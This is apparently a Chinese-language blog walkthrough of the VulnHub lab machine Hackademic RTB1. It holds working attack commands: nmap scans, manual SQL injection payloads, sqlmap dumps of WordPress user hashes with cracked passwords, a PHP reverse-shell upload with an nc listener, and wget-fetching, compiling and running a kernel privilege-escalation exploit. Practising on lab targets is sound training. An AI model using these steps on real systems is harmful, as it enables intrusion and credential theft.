打靶笔记-02-vulnhub-Hackademic.RTB1

打靶笔记-02-vulnhub-Hackademic.RTB1

一、靶机信息

Name: Hackademic: RTB1(中等难度)
Date release: 6 Sep 2011
Author: mr.pr0n
Series: Hackademic

二、靶机启动

2.1 校验靶机文件

sha1sum Hackademic.RTB1.zip 
e1d82e32d3a0353da3c35aa91716b711907ac826  Hackademic.RTB1.zip

2.2 解压导入VMware启动靶机,并配置网络

unzip Hackademic.RTB1.zip

使用VMware进行扫描或双击打开Hackademic.RTB1.vmx,我进行了一些修改,如下:
Img

2.3 打快照,启动靶机

没啥好说的,避免搞坏打个快照省事,居然还是带图形界面的:
Img

三、开始渗透

3.1 获取靶机IP

3.1.1 先获取一下kali的IP网卡信息

ifconfig

Img

3.1.2 获取靶机IP

sudo arp-scan -I eth0 -l

Img
成功获取到靶机IP为172.16.95.138

3.2 扫描靶机端口和服务

3.2.1 扫描开放端口

sudo nmap -p- 172.16.95.138

Img
开放端口22,80

3.2.2 确定端口服务

sudo nmap -sV -p22,80 172.16.95.138

Img
确定22端口上运行的是ssh服务,80端口上运行的是Apache httpd 2.2.15的服务,并且目标系统是Fedora

3.2.3 漏洞扫描

sudo nmap -p80 -sC 172.16.95.138
sudo nmap -p22 -sC 172.16.95.138

Img
可以发现80端口上支持潜在的风险方法TRACE

3.3 漏洞利用

22端口目前看来没啥问题,80端口上支持一个风险方法TRACE,这个应该可以稍微利用一下,不过现在还是先去访问一下80端口,看看到底有什么。

3.3.1 访问Web服务

Img
只是一个引导界面,跟进...
Img
可以看到进入了网站子目录Hackademic_RTB1,一会儿没进展的话可以进行个目录扫描,这会儿先在这个页面搜集点东西,提示需要获取root权限和root目录下的key.txt,然后还发现有几个链接可以点击,点一下。。。
点击Got root?!
Img
发现URL如下,而且页面也发生了变化

http://172.16.95.138/Hackademic_RTB1/?p=9

看到这个?p=9,瞬间就想到是否有sql注入的漏洞呢,那就测试一下吧
Img
手动测试了一圈好像是没啥漏洞,那就回去看下一个链接,之后可以拿sqlmap日一下

http://172.16.95.138/Hackademic_RTB1/?cat=1

Img
测试?cat=1的地方是否有sql注入
Img
很幸运,第一次单引号测试就爆出来了,由上述报错信息,能得到这是个Worddress,而且当前数据库名:wp-categories
紧接着进行如下测试:

?cat=1 and 1=1
?cat=1 and 1=2

Img
Img
发现点不一样的了,确认and语句可以执行,这就好办了,可以按照常规注入进行搞一波了

?cat=1 order by 6
// 可以看到报未知行,说明当前数据库没有6个字段
?cat=1 order by 3
?cat=1 order by 5
// 最终确定当前数据库有5个字段,进行下一步联合查询

Img
Img
Img

// 确定显示位置为2的位置,至于为啥要加and1=2,是因为这个后台sql语句后面有limit限制条件,这样前面查不出来,后面的就能显示出来了
?cat=1 and 1=2 union select 1,2,3,4,5
?cat=1 and 1=2 union select 1,database(),3,4,5

Img
后面手动也可以搞很多信息出来,不过这里不为练习原理,为了效率接下来上工具日

3.3.2 sqlmap 爆破数据库

sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --random-agent 
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL --dbs --random-agent
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress --tables --random-agent
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress -T wp_users --columns --random-agent
sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress -T wp_users -C user_login,user_pass --dump --random-agent

Img
Img
Img
Img
Img
可以看到这儿进行了密码hash的爆破,有一个没有爆破出来直接找在先的数据库进行一下爆破,https://md5.gromweb.com/
Img
最终得到登陆用户密码如下:

user_login user_pass
NickJames admin
MaxBucky kernel
GeorgeMiller q1w2e3
JasonKonnors maxwell
TonyBlack napoleon
JohnSmith PUPPIES

3.3.3 目录扫描

目前拿到登陆账号和密码了,所以自然而然的就该找登陆页面了,上dirsearch

dirsearch -u "http://172.16.95.138/" -i 200

Img
好像没啥发现,好在还有一个之前已经发现的目录Hackademic_RTB1可以扫描一下

dirsearch -u "http://172.16.95.138/Hackademic_RTB1/" -i 200

Img
这次拿到了登陆页面/Hackademic_RTB1/wp-login.php

3.3.4 寻找上传点,上传webshell

开始尝试登陆上述账号,最终发现GeorgeMiller用户有配置选项
Img
那就开启文件上传功能,并允许上传php类型的文件,上传一个反弹shell的php文件
Img
Img
上传成功,开启监听之后,访问webshell

nc -lnvp 6666

Img
发现权限不够,只能想办法进行提权了

3.3.5 提权

要提权,先进行本地信息搜集一波
Img
然后在kali上搜索一下有没有可以提权的脚本

searchsploit 2.3.3 |grep "Local Privilege Escalation"

Img
最后选定了其中一个,将其复制到网站目录

sudo cp /usr/share/exploitdb/exploits/linux_x86-64/local/15024.c /var/www/html
sudo systemctl start apache2

Img

最后好像这个提权失败了,好像是系统没对上,寻找exp上的经验要多练习一下,最后/linux/local/15285.c 可以成功提权

# webshell 上执行
cd /tmp
wget http://172.16.95.133/15285.c
gcc -o exp 15285.c
chmod +x exp
./exp

Img
Img

四、总结

这次攻击路径是从sql注入漏洞入手,爆出了数据库中账户密码,并进行了hash破解,然后进行目录扫描发现后台登陆地址,寻找上传点上传反弹shell文件获得shell,最后利用linux内核进行了提权。
接下来应该将sqlmap仔细研究一下,并着重练习一下提权姿势。

posted @ 2022-03-11 22:26  WTHusky  阅读(698)  评论(0编辑  收藏  举报